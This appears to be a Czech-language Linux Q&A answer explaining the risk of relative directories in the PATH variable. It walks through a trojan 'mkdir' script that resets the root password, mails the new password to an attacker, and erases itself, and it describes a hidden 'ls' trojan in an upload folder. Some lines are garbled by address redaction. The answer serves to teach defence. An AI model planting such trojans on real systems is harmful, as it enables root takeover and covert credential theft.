GNU/Linux >> Znalost Linux >  >> Linux

Bezpečnostní důsledky použití relativních cest v proměnné prostředí PATH?

Existují dva problémy s cestou, kterou používáte.

  1. Cesta je relativní.
  2. Relativní cesta přichází před hlavní cesty.

Předpokládejme, že máte následující skript shellu, který používáte jako root k aktualizaci nějaké webové aplikace, a nastavili jste $PATH používá se v /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

Útočníkovi poskytujete prostředek k provedení něčeho v shellu, který je ovládán uvedeným útočníkem. Forma útoku by vypadala takto – kde se pokouším podvrátit kontrolu nad mkdir volání ve zranitelném skriptu.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Pak čekám, až aktualizujete svou webovou aplikaci.

Nyní se stane, že se zranitelný skript přepne na /dev/shm . Když to udělá a spustí mkdir najde apps/java/bin/mkdir nejprve program, který v tomto případě resetuje heslo uživatele root, pošle útočníkovi e-mailem nové heslo uživatele root, ve skutečnosti zavolá skutečné mkdir (aby skryl skutečnost, že se něco skutečně stalo) a odstraní se z cesty útoku.

Jako root máte ne zjistit, co se stalo, a důkazy jsou vymazány, jakmile bude náklad doručen.


Problém s relativní cestou v $PATH je ten, že pokud útočník dokáže vytvořit soubor s daným jménem ve vašem souborovém systému, riskujete spuštění tohoto souboru.

Příklad:df nebo monitorování říká, že /var je plný, du říká, že je to /var/spool/ftp/uploads , co děláš?

cd /var/spool/ftp/uploads
ls -ltr

a jste vlastněni. Nevidíte ani ls ve výstupu, takže se to nikdy nedozvíte.

Nahraďte ftp uploady nějakým datovým adresářem nějakého klientského webu nebo adresářem /tmp sdíleného počítače nebo mnoha dalšími věcmi.

Je pravda, že se to nebude stávat často, ale riziko existuje a psaní ./script místo script je snadné.


Linux
  1. Jak změnit proměnnou PATH v Linuxu

  2. Rozdíl mezi absolutní a relativní cestou v Linuxu

  3. Počítání počtu souborů v adresáři pomocí C

  1. Přidání nové položky do proměnné PATH v ZSH

  2. Procházení prvků proměnné cesty v Bash

  3. Odstraňte nadbytečné cesty z proměnné $PATH

  1. Funkce kořene uživatelské skupiny??

  2. Jak mohu spustit program jako root pomocí správce oken?

  3. Jaké jsou bezpečnostní důsledky systemd ve srovnání s systemv init?